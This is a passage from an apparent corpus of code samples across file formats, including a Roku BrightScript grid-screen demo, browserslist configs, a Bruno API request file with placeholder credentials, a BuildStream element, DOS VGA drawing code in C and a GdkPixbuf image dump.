getGridControlButtons()\n    screen.SetContentList(0, StyleButtons)\n    for i = 1 to categoryList.count()-1\n        screen.SetContentList(i, getShowsForCategoryItem(categoryList[i]))\n    end for\n    screen.Show()\n\n    while true\n        print \"Waiting for message\"\n        msg = wait(0, m.port)\n        'msg = wait(0, screen.GetMessagePort())     ' getmessageport does not work on gridscreen\n        print \"Got Message:\";type(msg)\n        if type(msg) = \"roGridScreenEvent\" then\n            print \"msg= \"; msg.GetMessage() \" , index= \"; msg.GetIndex(); \" data= \"; msg.getData()\n            if msg.isListItemFocused() then\n                print\"list item focused | current show = \"; msg.GetIndex()\n            else if msg.isListItemSelected() then\n                row = msg.GetIndex()\n                selection = msg.getData()\n                print \"list item selected row= \"; row; \" selection= \"; selection\n\n                ' Did we get a selection from the gridstyle selection row?\n                if (row = 0)\n                    ' yes, return so we can come back with new style\n                    return StyleButtons[selection].Title\n                endif\n\n                'm.curShow = displayShowDetailScreen(showList[msg.GetIndex()])\n            else if msg.isScreenClosed() then\n                return \"\"\n            end if\n        end If\n    end while\n\n\nEnd Function\n\n'**********************************************************\n'** When a poster on the home screen is selected, we call\n'** this function passing an roAssociativeArray with the \n'** ContentMetaData for the selected show.  This data should \n'** be sufficient for the springboard to display\n'**********************************************************\nFunction displayShowDetailScreen(category as Object, showIndex as Integer) As Integer\n\n    'add code to create springboard, for now we do nothing\n    return 1\n\nEnd Function\n\n\n'**************************************************************\n'** Return the list of categories to display in the filter\n'** banner. The result is an roArray containing the names of \n'** all of the categories. All just static data for the example.\n'***************************************************************\nFunction getCategoryList() As Object\n\n    categoryList = [ \"GridStyle\", \"Reality\", \"History\", \"News\", \"Comedy\", \"Drama\"]\n    return categoryList\n\nEnd Function\n\n\n'********************************************************************\n'** Given the category from the filter banner, return an array \n'** of ContentMetaData objects (roAssociativeArray's) representing \n'** the shows for the category. For this example, we just cheat and\n'** create and return a static array with just the minimal items\n'** set, but ideally, you'd go to a feed service, fetch and parse\n'** this data dynamically, so content for each category is dynamic\n'********************************************************************\nFunction getShowsForCategoryItem(category As Object) As Object\n\n    print \"getting shows for category \"; category\n\n    showList = [\n        {\n            Title: category + \": Header\",\n            releaseDate: \"1976\",\n            length: 3600-600,\n            Description:\"This row is category \" + category,\n            hdBranded: true,\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\",\n            Description:\"Short Synopsis #1\",\n            Synopsis:\"Length\",\n            StarRating:10,\n        }\n        {\n            Title: category + \": Beverly Hillbillies\",\n            releaseDate: \"1969\",\n            rating: \"PG\",\n            Description:\"Come and listen to a story about a man named Jed: Poor mountaineer, barely kept his family fed. Then one day he was shootin at some food, and up through the ground came a bubblin crude. Oil that is, black gold, Texas tea.\",\n            numEpisodes:42,\n            contentType:\"season\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/4/4e/The_Beverly_Hillbillies.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/4/4e/The_Beverly_Hillbillies.jpg\",\n            StarRating:80,\n            UserStarRating:40\n        }\n        {\n            Title: category + \": Babylon 5\",\n            releaseDate: \"1996\",\n            rating: \"PG\",\n            Description:\"The show centers on the Babylon 5 space station: a focal point for politics, diplomacy, and conflict during the years 2257-2262.\",\n            numEpisodes:102,\n            contentType:\"season\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/9/9d/Smb5-s4.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/9/9d/Smb5-s4.jpg\",\n            StarRating:80,\n            UserStarRating:40\n        }\n        {\n            Title: category + \": John F. Kennedy\",\n            releaseDate: \"1961\",\n            rating: \"PG\",\n            Description:\"My fellow citizens of the world: ask not what America will do for you, but what together we can do for the freedom of man.\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/5/52/Jfk_happy_birthday_1.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/5/52/Jfk_happy_birthday_1.jpg\",\n            StarRating:100\n        }\n        {\n            Title: category + \": Man on the Moon\",\n            releaseDate: \"1969\",\n            rating: \"PG\",\n            Description:\"That's one small step for a man, one giant leap for mankind.\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/1/1e/Apollo_11_first_step.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/1/1e/Apollo_11_first_step.jpg\",\n            StarRating:100\n        }\n        {\n            Title: category + \": I have a Dream\",\n            releaseDate: \"1963\",\n            rating: \"PG\",\n            Description:\"I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin, but by the content of their character.\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/8/81/Martin_Luther_King_-_March_on_Washington.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/8/81/Martin_Luther_King_-_March_on_Washington.jpg\",\n            StarRating:100\n        }\n    ]\n\n    return showList\nEnd Function\n    \nfunction getGridControlButtons() as object\n        buttons = [\n            { Title: \"Flat-Movie\"\n              ReleaseDate: \"HD:5x2 SD:5x2\"\n              Description: \"Flat-Movie (Netflix) style\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\"\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\"\n            }\n            { Title: \"Flat-Landscape\"\n              ReleaseDate: \"HD:5x3 SD:4x3\"\n              Description: \"Channel Store\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/9/96/Dunkery_Hill.jpg/800px-Dunkery_Hill.jpg\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/9/96/Dunkery_Hill.jpg/800px-Dunkery_Hill.jpg\",\n            }\n            { Title: \"Flat-Portrait\"\n              ReleaseDate: \"HD:5x2 SD:5x2\"\n              Description: \"3x4 style posters\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/9/9f/Kane_George_Gurnett.jpg\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/9/9f/Kane_George_Gurnett.jpg\",\n            }\n            { Title: \"Flat-Square\"\n              ReleaseDate: \"HD:7x3 SD:6x3\"\n              Description: \"1x1 style posters\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/d/de/SQUARE_SHAPE.svg/536px-SQUARE_SHAPE.svg.png\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/d/de/SQUARE_SHAPE.svg/536px-SQUARE_SHAPE.svg.png\",\n            }\n            { Title: \"Flat-16x9\"\n              ReleaseDate: \"HD:5x3 SD:4x3\"\n              Description: \"HD style posters\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/2/22/%C3%89cran_TV_plat.svg/200px-%C3%89cran_TV_plat.svg.png\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/2/22/%C3%89cran_TV_plat.svg/200px-%C3%89cran_TV_plat.svg.png\",\n            }\n       ]\n       return buttons\nEnd Function\n"
  },
  {
    "path": "samples/Browserslist/filenames/.browserslistrc",
    "content": "# Comment\ndefaults\n\n# Not keyword\nnot dead\n\n# Market share with %\n> 10%\n< 1.5% in US\n>= .5%\n\n# Rare queries\nmaintained node versions\nsupports es6-module\n\n# Extend keyword\nextend @company/browserslist-config\n\n# Direct versions\nChrome 50\nFirefox ESR\nSafari TP\nOperaMini all\n\n# Block header\n[production]\n# and keyword\nEdge > 40 and Edge < 43\n# or/, keywords\nIE 11 or IE 10, ie 9"
  },
  {
    "path": "samples/Browserslist/filenames/browserslist",
    "content": "# Comment\ndefaults\n\n# Not keyword\nnot dead\n\n# Market share with %\n> 10%\n< 1.5% in US\n>= .5%\n\n# Rare queries\nmaintained node versions\nsupports es6-module\n\n# Extend keyword\nextend @company/browserslist-config\n\n# Direct versions\nChrome 50\nFirefox ESR\nSafari TP\nOperaMini all\n\n# Block header\n[production]\n# and keyword\nEdge > 40 and Edge < 43\n# or/, keywords\nIE 11 or IE 10, ie 9"
  },
  {
    "path": "samples/Bru/example.bru",
    "content": "get {\n  url: https://api.github.com/users/usebruno\n}\n\nget {\n  url: https://api.textlocal.in/send?apiKey=secret&numbers=9988776655&message=hello\n}\nheaders {\n  content-type: application/json\n  Authorization: Bearer topsecret\n}\n\npost {\n  url: https://api.textlocal.in/send\n}\nbody {\n  {\n    \"apiKey\": \"secret\",\n    \"numbers\": \"9988776655\",\n    \"message\": \"Woof! lets play with some apis\"\n  }\n}\nheaders {\n  content-type: application/json\n  Authorization: Bearer topsecret\n}\n\npost {\n  url: https://api.textlocal.in/login\n}\nbody {\n  {\n    \"username\": \"johnnash\",\n    \"password\": \"governingdynamics\"\n  }\n}\nscript:post-response {\n  bru.setVar(\"token\", res.body.token);\n}\n\ntests {\n  test(\"should be able to login\", function() {\n    expect(res.status).to.equal(201);\n  });\n  test(\"should receive the token\", function() {\n    expect(res.body.token).to.be.a('string');\n  });\n}\n"
  },
  {
    "path": "samples/BuildStream/hello.bst",
    "content": "kind: manual\ndescription: |\n\n  Building manually\n\n# Depend on the base system\ndepends:\n- base.bst\n\n# Stage the files/src directory for building\nsources:\n  - kind: local\n    path: files/src\n\n# Now configure the commands to run\nconfig:\n\n  build-commands:\n  - make PREFIX=\"%{prefix}\"\n\n  install-commands:\n  - make -j1 PREFIX=\"%{prefix}\" DESTDIR=\"%{install-root}\" install\n"
  },
  {
    "path": "samples/C/2D.C",
    "content": "#include \"2D.h\"\r\n#include <math.h>\r\n\r\nvoid set_vgabasemem(void)\r\n{\r\n    ULONG vgabase;\r\n    SELECTOR tmp;\r\n    asm mov [tmp], ds\r\n    dpmi_get_sel_base(&vgabase, tmp);\r\n    vgabasemem = (char *)(-vgabase + 0xa0000);\r\n}\r\n\r\nvoid drw_chdis(int mode) // change the display!\r\n{\r\n    regs.b.ah = 0x00;   // seet theh display moode\r\n    regs.b.al = mode;  // change it to the mode like innit\r\n    regs.h.flags = 0x72;// Set the dingoes kidneys out of FLAGS eh?\r\n    regs.h.ss = 0;     // Like, totally set the stack segment\r\n    regs.h.sp = 0;     // Set tha stack pointaaaaahhhhh!!!\r\n    dpmi_simulate_real_interrupt(0x10, &regs);\r\n}\r\n\r\nvoid drw_pix(int x, int y, enum COLORS col)\r\n{\r\n    *VGAPIX(x, y) = col;\r\n}\r\n\r\nvoid drw_line(int x0, int y0, int x1, int y1, enum COLORS col)\r\n{\r\n    // Going for the optimized version of bresenham's line algo.        \r\n    int stp = (abs(y0 - y1) > abs(x0 - x1));\r\n    int tmp, dx, dy, err, yi, i, j; // yi = y excrement\r\n    if (stp) {\r\n        // swappity swap\r\n        tmp = y0;\r\n        y0 = x0;\r\n        x0 = tmp;\r\n        \r\n        tmp = y1;\r\n        y1 = x1;\r\n        x1 = tmp;\r\n    }\r\n    // AAAAND NOW WE MUST DO ZEES AGAIN :(\r\n    // I'm sure there was a func somewhere that does this? :P\r\n    if (x0 > x1) {\r\n        tmp = x0;\r\n        x0 = x1;\r\n        x1 = tmp;\r\n        \r\n        tmp = y0;\r\n        y0 = y1;\r\n        y1 = tmp;\r\n    }\r\n    dx = (x1 - x0);\r\n    dy = (abs(y1 - y0));\r\n    err = (dx / 2);\r\n\r\n    if (y0 < y1)\r\n        yi = 1;\r\n    else\r\n        yi = -1;\r\n    j = y0;\r\n    for (i = x0; i < x1; i++)\r\n    {\r\n        if (stp)\r\n            *VGAPIX(j, i) = col;\r\n        else\r\n            *VGAPIX(i, j) = col;\r\n\r\n        err -= dy;\r\n        if (err < 0) {\r\n            j += yi;\r\n            err += dx;\r\n        }\r\n    }\r\n}\r\n\r\nvoid drw_rectl(int x, int y, int w, int h, enum COLORS col)\r\n{\r\n    drw_line(x, y, x+w, y, col);\r\n    drw_line(x+w, y, x+w, y+h, col);\r\n\r\n    drw_line(x, y, x, y+h, col);\r\n    drw_line(x, y+h, x+w+1, y+h, col);\r\n}\r\n\r\nvoid drw_rectf(int x, int y, int w, int h, enum COLORS col)\r\n{\r\n    int i, j;\r\n    for (j = y; j < x+h; j++) {\r\n        for (i = x; i < y+w; i++) {\r\n            *VGAPIX(i, j) = col;\r\n        }\r\n    }\r\n}\r\n\r\nvoid drw_circl(int x, int y, int rad, enum COLORS col)\r\n{\r\n    int mang, i; // max angle, haha\r\n    int px, py;\r\n    mang = 360; // Yeah yeah I'll switch to rad later\r\n    for (i = 0; i <= mang; i++)\r\n    {   \r\n        px = cos(i)*rad + x; // + px; // causes some really cools effects! :D\r\n        py = sin(i)*rad + y; // + py;\r\n        *VGAPIX(px, py) = col;\r\n    }\r\n}\r\n\r\nvoid drw_tex(int x, int y, int w, int h, enum COLORS tex[])\r\n{   // i*w+j\r\n    int i, j;\r\n    for (i = 0; i < w; i++)\r\n    {\r\n        for (j = 0; j < h; j++)\r\n        {\r\n            *VGAPIX(x+i, y+j) = tex[j*w+i];\r\n        }\r\n    }\r\n}\r\n\r\nvoid 2D_init(void)\r\n{\r\n    set_vgabasemem();\r\n    drw_chdis(0x13);\r\n}\r\n\r\nvoid 2D_exit(void)\r\n{\r\n    drw_chdis(3);\r\n}\r\n/*\r\nint main()\r\n{\r\n    set_vgabasemem();\r\n    drw_chdis(0x13);\r\n\r\n    while(!kbhit()) {\r\n        if ((getch()) == 0x1b) // escape\r\n            break;\r\n    }\r\n    drw_chdis(3);\r\n    return 0;\r\n}\r\n*/\r\n"
  },
  {
    "path": "samples/C/2D.H",
    "content": "#ifndef __2DGFX\r\n#define __2DGFX\r\n// Includes\r\n#include <stdio.h>\r\n#include <math.h>\r\n#include <conio.h>\r\n#include <dpmi.h>\r\n\r\n// Defines\r\n#define VGAPIX(x,y) (vgabasemem + (x) + (y) * 320)\r\n\r\n// Variables\r\nchar * vgabasemem;\r\nDPMI_REGS regs;\r\n\r\n// Drawing functions:\r\n//void setvgabasemem(void);\r\nvoid drw_chdis(int mode); // draw_func_change_display\r\nvoid drw_pix(int x, int y, enum COLORS col);\r\nvoid drw_line(int x0, int y0, int x1, int y1, enum COLORS col);\r\nvoid drw_rectl(int x, int y, int w, int h, enum COLORS col);\r\nvoid drw_rectf(int x, int y, int w, int h, enum COLORS col);\r\nvoid drw_cirl(int x, int y, int rad, enum COLORS col);\r\nvoid drw_tex(int x, int y, int w, int h, enum COLORS tex[]);\r\nvoid 2D_init(void);\r\nvoid 2D_exit(void);\r\n\r\n\r\n#endif\r\n"
  },
  {
    "path": "samples/C/Arduino.cats",
    "content": "/** The MIT License (MIT)\n\nCopyright (c) 2014 Hongwei Xi\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.*/\n\n// Source: https://github.com/githwxi/ATS-Postiats-contrib/blob/master/contrib/arduino/CATS/Arduino.cats\n\n\n/*\n** The prelude for Ardunio\n*/\n\n/* ****** ****** */\n\n#ifndef ARDUINO_CATS_ARDUINO\n#define ARDUINO_CATS_ARDUINO\n\n/* ****** ****** */\n\n#include <Arduino.h>\n\n/* ****** ****** */\n\n#define delay_int(ms) delay(ms)\n#define delay_ulint(ms) delay(ms)\n\n/* ****** ****** */\n//\n#define random_int_1(x) random(x)\n#define random_int_2(x, y) random(x, y)\n#define random_lint_1(x) random(x)\n#define random_lint_2(x, y) random(x, y)\n//\n#define randomSeed_int(x) randomSeed(x)\n#define randomSeed_uint(x) randomSeed(x)\n//\n/* ****** ****** */\n\n#endif // #ifndef(ARDUINO_CATS_ARDUINO)\n\n/* ****** ****** */\n\n/* end of [Arduino.cats] */\n"
  },
  {
    "path": "samples/C/ArrowLeft.h",
    "content": "/*\n * This file is part of GTK++ (libGTK++)\n * Copyright © 2012 Rachel Mant (dx-mon@users.sourceforge.net)\n *\n * GTK++ is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * GTK++ is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n/* GdkPixbuf RGBA C-Source image dump */\n\n#ifdef __SUNPRO_C\n#pragma align 4 (ArrowLeft)\n#endif\n#ifdef __GNUC__\nstatic const uint8_t ArrowLeft[] __attribute__ ((__aligned__ (4))) = \n#else\nstatic const uint8_t ArrowLeft[] = \n#endif\n{ \"\"\n  /* Pixbuf magic (0x47646b50) */\n  \"GdkP\"\n  /* length: header (24) + pixel_data (1600) */\n  \"\\0\\0\\6X\"\n  /* pixdata_type (0x1010002) */\n  \"\\1\\1\\0\\2\"\n  /* rowstride (80) */\n  \"\\0\\0\\0P\"\n  /* width (20) */\n  \"\\0\\0\\0\\24\"\n  /* height (20) */\n  \"\\0\\0\\0\\24\"\n  /* pixel_data: */\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\"\n  \"\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\"};\n\n\n"
  },
  {
    "path": "samples/C/Field.h",
    "content": "/*****************************************************************************\n* Dwarf Mine - The 13-11 Benchmark\n*\n* Copyright (c) 2013 Bünger, Thomas; Kieschnick, Christian; Kusber,\n* Michael; Lohse, Henning; Wuttke, Nikolai; Xylander, Oliver; Yao, Gary;\n* Zimmermann, Florian\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*****************************************************************************/\n\n#pragma once\n\nenum Field { Free, Black, White, 